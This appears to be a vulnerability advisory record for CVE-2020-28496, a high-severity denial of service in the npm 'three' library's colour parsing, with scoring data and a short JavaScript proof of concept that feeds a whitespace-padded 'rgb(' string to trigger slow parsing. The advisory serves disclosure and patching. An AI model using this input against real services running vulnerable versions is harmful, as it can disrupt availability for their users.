logo

CVE-2020-28496 three

Package

Manager: npm
Name: three
Vulnerable Version: >=0 <0.125.0

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.01422 pctl0.79859

Details

Denial of service in three This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. **PoC:** ```js var three = require('three') function build_blank(n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost + " ms") ```

Metadata

Created: 2021-03-01T19:57:16Z
Modified: 2023-09-11T16:30:56Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-fq6p-x6j3-cmmq/GHSA-fq6p-x6j3-cmmq.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-fq6p-x6j3-cmmq
Finding: F002
Auto approve: 1